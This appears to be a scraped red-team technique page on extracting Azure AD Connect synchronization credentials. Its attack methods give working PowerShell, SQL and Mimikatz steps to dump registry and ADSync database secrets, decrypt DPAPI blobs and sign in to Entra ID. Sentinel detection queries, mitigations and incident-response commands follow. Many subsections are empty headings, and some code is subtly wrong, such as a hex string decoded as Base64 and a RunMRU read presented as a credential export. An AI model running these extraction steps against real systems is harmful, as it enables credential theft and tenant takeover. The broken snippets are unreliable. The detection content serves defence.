MCADDF

[MISCONFIG-017]: Default Connector Passwords

1. METADATA HEADER

Attribute Details
Technique ID MISCONFIG-017
MITRE ATT&CK v18.1 T1526 - Resource Discovery
Tactic Defense Evasion / Discovery
Platforms Entra ID, Azure, Hybrid Environments
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Azure AD Connect 1.0+, Entra ID Connectors (all versions), Azure App Proxy Connectors
Patched In Not applicable (configuration vulnerability, not a software bug)
Author SERVTEP – Artur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Entra ID connectors (Azure AD Connect, App Proxy Connectors, Provisioning Agents, and Third-Party Synchronization Connectors) authenticate to Microsoft Entra ID using service account credentials. If these credentials are not rotated, use default or weak passwords, or are stored in plaintext within connector configuration files, attackers who gain access to the on-premises connector server can extract them and impersonate the synchronization service. This grants adversaries the ability to manipulate directory synchronization, bypass identity controls, and escalate privileges.

Attack Surface: On-premises connector servers (Azure AD Connect server, App Proxy connector machines, provisioning agents), connector configuration databases (LocalDB/SQL Server), registry keys, and credential stores.

Business Impact: Compromise of identity synchronization pipelines and lateral movement from on-premises to cloud. With connector credentials, attackers can intercept password hashes, modify user objects during synchronization, trigger unauthorized provisioning changes, and create persistent backdoor accounts in both AD and Entra ID that sync automatically.

Technical Context: Extraction of connector service credentials typically requires local administrative access to the connector server or access to the SQL Server database. Detection is difficult because legitimate synchronization traffic will mask malicious modifications. Reversibility is limited once synchronization has been compromised—forensic analysis requires audit log correlation across multiple systems.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.3.2 (Active Directory) / 1.2 (Azure) Ensure that passwords are changed at least every 90 days, ensure administrative accounts are not used for service accounts, enable credential guard
DISA STIG AC-2(1), IA-4(b), IA-5(1)(a) Account Management, Identifier Management, Password Requirements
CISA SCuBA ID.BE-1, PR.AC-1 Business Environment Assessment, Access Control Policy
NIST 800-53 AC-2, AC-5, IA-2, IA-5 Account Management, Separation of Duties, Authentication, Password Requirements
GDPR Art. 32 Security of Processing (encryption, key management, access controls)
DORA Art. 9 Protection and Prevention (operational resilience, ICT risk management)
NIS2 Art. 21 Cyber Risk Management Measures (access controls, multi-factor authentication)
ISO 27001 A.5.2, A.9.2, A.9.4 Information Security Policies, User Access Management, Password Management
ISO 27005 Risk scenario: “Unauthorized Access to Synchronization Service” Risk of compromise of synchronization infrastructure due to weak credential management

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:

5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Extracting Connector Credentials from Azure AD Connect Server (Windows Registry)

Supported Versions: Server 2016 - 2019 - 2022 - 2025, Azure AD Connect 1.0+

Step 1: Gain Local Administrative Access to the Connector Server

Objective: Establish administrative privileges on the on-premises Azure AD Connect or provisioning agent server.

Command (Windows PowerShell - As Administrator):

whoami /groups
# Verify you are in BUILTIN\Administrators group

Expected Output:

BUILTIN\Administrators              S-1-5-32-544        Group            Mandatory

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Locate and Extract Connector Service Account Credentials from Registry

Objective: Retrieve the plaintext or encoded credentials stored in the Windows registry that the synchronization service uses.

Command (Windows PowerShell - Registry Path Access):

# Azure AD Connect stores synchronization account credentials in the registry
$regPath = "HKLM:\SOFTWARE\Microsoft\Azure AD Sync\Connectors"

# List all connector entries
Get-ChildItem -Path $regPath | ForEach-Object {
    $connectorName = $_.PSChildName
    $properties = Get-ItemProperty -Path $_.PSPath
    Write-Host "Connector: $connectorName"
    Write-Host "Properties: $($properties | Out-String)"
}

# Alternative: Export entire registry subtree for offline analysis
reg export "HKLM\SOFTWARE\Microsoft\Azure AD Sync\Connectors" C:\temp\connectors.reg

Expected Output:

Connector: {connector-guid}
Properties: 
  PSPath        : Microsoft.PowerShell.Core\Registry::HKLM\SOFTWARE\Microsoft\Azure AD Sync\Connectors\{guid}
  PSParentPath  : Microsoft.PowerShell.Core\Registry::HKLM\SOFTWARE\Microsoft\Azure AD Sync\Connectors
  PSChildName   : {guid}
  PSDrive       : HKLM
  PSProvider    : Microsoft.PowerShell.Core\Registry
  ma-password   : (encrypted blob)
  ma-username   : DOMAIN\SYNC_SERVICE_ACCOUNT

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Decrypt DPAPI-Encrypted Credentials

Objective: Recover plaintext credentials from encrypted registry values.

Command (Windows PowerShell - DPAPI Decryption):

# Decrypt DPAPI blob using the machine key
# First, export the encrypted value as base64
$encryptedBlob = [Convert]::FromBase64String("base64_encoded_blob_from_registry")

# Use Windows Data Protection API to decrypt
$decryptedBlob = [System.Security.Cryptography.ProtectedData]::Unprotect(
    $encryptedBlob, 
    $null, 
    [System.Security.Cryptography.DataProtectionScope]::CurrentUser
)

# Convert to string
$plaintext = [System.Text.Encoding]::ASCII.GetString($decryptedBlob)
Write-Host "Decrypted Credential: $plaintext"

Expected Output:

Decrypted Credential: ServiceAccountPassword123!

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 4: Authenticate to Entra ID Using Extracted Credentials

Objective: Use the recovered connector credentials to authenticate to Entra ID and verify access.

Command (Windows PowerShell - Azure AD Authentication):

# Import Azure AD PowerShell module
Import-Module AzureAD

# Authenticate using the extracted service account credentials
$username = "DOMAIN\SYNC_service_account"
$password = "DecryptedPassword123!"
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($username, $securePassword)

# Connect to Entra ID
Connect-AzureAD -Credential $credential

# Verify access by listing directory roles
Get-AzureADDirectoryRole | Select-Object DisplayName, ObjectId

Expected Output:

DisplayName                      ObjectId
-----------                      --------
Company Administrator            12345678-1234-1234-1234-123456789012
Directory Readers                87654321-4321-4321-4321-210987654321
Directory Synchronization        11111111-2222-2222-2222-222222222222
Accounts                         ...

What This Means:

OpSec & Evasion:

References & Proofs:

METHOD 2: Extracting Connector Credentials from SQL Server Database (Azure AD Connect LocalDB)

Supported Versions: Server 2016 - 2019 - 2022 - 2025

Step 1: Locate and Connect to Azure AD Connect SQL Server Instance

Objective: Establish a connection to the LocalDB instance that stores connector configuration.

Command (SQL Server Management Studio or sqlcmd):

-- Azure AD Connect uses LocalDB instance: (LocalDb)\ADSync
-- Connect from command line:
sqlcmd -S "(LocalDb)\ADSync" -E

-- Once connected, list available databases:
SELECT name FROM sys.databases;

Expected Output:

name
----
master
model
msdb
ADSync
tempdb

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Query the Connector Credentials Table

Objective: Extract encrypted credentials from the ADSync database.

Command (SQL Server):

-- Use the ADSync database
USE ADSync;

-- Query the ma_directory_configuration table for connector details
SELECT id, name, password_encrypted, private_configuration 
FROM dbo.ma_directory_configuration;

-- Export encrypted blob for offline decryption
SELECT 
    id, 
    name, 
    CONVERT(VARCHAR(MAX), password_encrypted) AS encrypted_password
FROM dbo.ma_directory_configuration 
WHERE name LIKE '%Azure%' OR name LIKE '%Sync%';

Expected Output:

id  name                      encrypted_password
--  ----                      ------------------
1   Azure Active Directory    0x01000000D08C9DDF0...
2   Active Directory          0x01000000A1B2C3D4E...

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Decrypt Exported Credentials

Objective: Use the obtained encrypted blob to recover plaintext credentials.

Command (Windows PowerShell - DPAPI Decryption, same as METHOD 1, Step 3):

$encryptedBlob = [Convert]::FromBase64String("0x01000000D08C9DDF0...")
$decryptedBlob = [System.Security.Cryptography.ProtectedData]::Unprotect(
    $encryptedBlob, 
    $null, 
    [System.Security.Cryptography.DataProtectionScope]::LocalMachine
)
$plaintext = [System.Text.Encoding]::ASCII.GetString($decryptedBlob)
Write-Host "Service Account: $plaintext"

References & Proofs:

METHOD 3: Extracting Connector Credentials via Credential Manager Export

Supported Versions: Server 2016 - 2019 - 2022 - 2025

Step 1: Export Windows Credential Manager

Objective: Use built-in Windows tools to extract stored credentials for the connector service account.

Command (Command Prompt - Credential Manager Export):

:: Export all stored credentials to a local file
cmdkey /list > C:\temp\creds.txt

:: Alternatively, use the Windows API through PowerShell
powershell -Command "
$creds = @(Get-ChildItem 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU')
foreach ($cred in $creds) {
    Write-Host $cred.GetValue('') 
}
"

Expected Output:

Currently stored credentials:

Target: Domain\SYNC_service_account
User:   DOMAIN\SYNC_service_account
Type:   Domain Password

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

7. TOOLS & COMMANDS REFERENCE

Mimikatz

Version: 2.2.0 (current as of January 2026) Minimum Version: 2.1.0 Supported Platforms: Windows Endpoint, Windows Server

Version-Specific Notes:

Installation:

:: Download from GitHub
git clone https://github.com/gentilkiwi/mimikatz.git

:: Compile (requires Visual Studio or MinGW)
cd mimikatz\VS_Project\mimikatz
msbuild.exe mimikatz.sln /p:Configuration=Release /p:Platform=x64

:: Output: x64\Release\mimikatz.exe

Usage:

mimikatz.exe
privilege::debug
dpapi::cred /in:C:\path\to\encrypted_credential
vault::list
vault::cred /patch

AADInternals

Version: 0.9.8 (latest) Minimum Version: 0.9.0 Supported Platforms: Windows Endpoint, PowerShell 5.0+

Installation:

Install-Module -Name AADInternals -Force
Import-Module AADInternals

Usage:

# Extract and manipulate Entra ID objects using compromised connector credentials
$cred = Get-Credential
Connect-AADInt -Credentials $cred
Get-AADIntCompromisedSyncAccounts

Azure AD Connect Credential Dumper (PoC)

Version: 1.0 Language: Python 3.7+

Installation:

git clone https://github.com/dirkjanm/pydigest.git
cd pydigest
pip install -r requirements.txt
python AADConnectDump.py --server TARGET_SERVER

9. MICROSOFT SENTINEL DETECTION

Query 1: Detection of Suspicious Entra ID Connector Authentication

Rule Configuration:

KQL Query:

let SyncServiceAccounts = dynamic(["SYNC_", "ADSync", "aad_", "azure_ad"]);
let SuspiciousOperations = dynamic(["Reset user password", "Set user principal name", "Set password reset policy"]);

AuditLogs
| where TimeGenerated > ago(1h)
| where OperationName in (SuspiciousOperations)
| where InitiatedBy.user.userPrincipalName has_any (SyncServiceAccounts)
| where Result == "Success"
| project TimeGenerated, InitiatedBy=InitiatedBy.user.userPrincipalName, OperationName, TargetResources=TargetResources[0].displayName, Result
| summarize Count=count() by InitiatedBy, OperationName
| where Count > 3

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure Portal → Microsoft Sentinel
  2. Select your workspace → Analytics
  3. Click + Create → Scheduled query rule
  4. General Tab:
    • Name: Suspicious Entra ID Connector Activity
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 10 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + create

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "Suspicious Entra ID Connector Activity" `
  -Query @"
let SyncServiceAccounts = dynamic(["SYNC_", "ADSync", "aad_", "azure_ad"]);
let SuspiciousOperations = dynamic(["Reset user password", "Set user principal name"]);
AuditLogs
| where TimeGenerated > ago(1h)
| where OperationName in (SuspiciousOperations)
| where InitiatedBy.user.userPrincipalName has_any (SyncServiceAccounts)
| where Result == "Success"
"@ `
  -Severity "High" `
  -Enabled $true

Source: Microsoft Docs: Azure Audit Log Analytics

Query 2: Detection of Azure AD Connect Service Account Credential Changes

Rule Configuration:

KQL Query:

AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName == "Update service principal credentials"
| where TargetResources[0].displayName contains "AD Connect" or TargetResources[0].displayName contains "Sync"
| project TimeGenerated, InitiatedBy=InitiatedBy.user.userPrincipalName, Operation=OperationName, TargetApp=TargetResources[0].displayName, Result

What This Detects:

10. WINDOWS EVENT LOG MONITORING

Event ID: 4688 (Process Creation)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → Detailed Tracking
  3. Enable: Audit Process Creation
  4. Set to: Success and Failure
  5. Run gpupdate /force on target machines

Event ID: 4722 (User Account Enabled)

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Sensitive Azure Key Vault operations detected”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure Portal → Microsoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Key Vault: ON
    • Defender for Servers: ON
  5. Click Save
  6. Go to Security alerts to view triggered alerts

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command (Disconnect Connector Server from Network): 
    # Disable network adapter on connector server
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
   
# Or disconnect in Azure:
Stop-AzVM -ResourceGroupName "RG-Name" -Name "AADConnect-VM" -NoWait

    Manual (Azure Portal):

    • Go to Azure Portal → Virtual Machines → Select connector VM → Click Stop
  2. Collect Evidence: Command (Preserve Azure AD Connect Database): 
    # Copy database for forensic analysis
Copy-Item "C:\ProgramData\Microsoft\Azure AD Sync\ADSync.mdf" "C:\Evidence\ADSync.mdf"
   
# Export encryption keys (if accessible)
$regPath = "HKLM:\SOFTWARE\Microsoft\Azure AD Sync"
reg export $regPath "C:\Evidence\AADSync_Registry.reg"
   
# Capture trace logs
Copy-Item "C:\ProgramData\Microsoft\Azure AD Connect\trace-*.log" "C:\Evidence\"

    Manual (Windows):

    • Open Windows Explorer → Navigate to C:\ProgramData\Microsoft\Azure AD Sync\
    • Copy all files to external USB or network share for forensic analysis
  3. Remediate: Command (Revoke Connector Credentials): 
    # Change sync service account password immediately
Set-ADAccountPassword -Identity "SYNC_service_account" `
  -NewPassword (ConvertTo-SecureString "NewComplexP@ssw0rd1234567890!@#$%^&*()" -AsPlainText -Force) -Reset
   
# Reset all Entra ID connector passwords via portal
# Manual step: Azure Portal → Azure AD Connect Sync → Restart synchronization

    Command (Reset Compromised User Objects):

    # If user objects were modified, reset them
# 1. Disable synchronization temporarily
Set-ADSyncScheduler -SyncCycleEnabled $false
   
# 2. Review and revert modified users in AD
# 3. Force full synchronization
Start-ADSyncSyncCycle -PolicyType Initial

    Manual (Azure Portal):

    1. Go to Azure Portal → Azure AD Connect
    2. Click Configure → Synchronization
    3. Click Reset to rebuild the synchronization database
    4. Re-authenticate with new service account credentials
  4. Hunt for Lateral Movement: KQL Query (Detect Privilege Escalation from Sync Account): 
    AuditLogs
| where TimeGenerated > ago(72h)
| where InitiatedBy.user.userPrincipalName contains "SYNC_"
| where OperationName has_any ("Add member to group", "Add role member", "Grant permission")
| summarize by TargetResources[0].displayName, OperationName, TimeGenerated
Step Phase Technique Description
1 Reconnaissance [REC-HYBRID-001] Azure AD Connect Configuration Enumeration Attacker identifies the on-premises synchronization infrastructure
2 Initial Access [IA-EXPLOIT-002] BDC Deserialization Vulnerability Attacker gains initial compromise of the connector server
3 Privilege Escalation [PE-EXPLOIT-001] PrintNightmare Remote RCE Attacker escalates to local admin on connector server
4 Credential Access [MISCONFIG-017] Default Connector Passwords Attacker extracts synchronization service account credentials
5 Lateral Movement [LM-AUTH-001] Pass-the-Hash (PTH) Attacker uses credentials to move to domain controllers
6 Persistence [PE-ACCTMGMT-014] Global Administrator Backdoor Attacker creates persistent Entra ID admin account via sync
7 Impact Data exfiltration via Exchange Online or SharePoint Attacker accesses sensitive data through compromised sync account

17. REAL-WORLD EXAMPLES

Example 1: SolarWinds Compromise (2020)

Example 2: Sunburst Backdoor (2020)

Example 3: Hafnium Web Shell Deployment (2021)

This site is open source. Improve this page.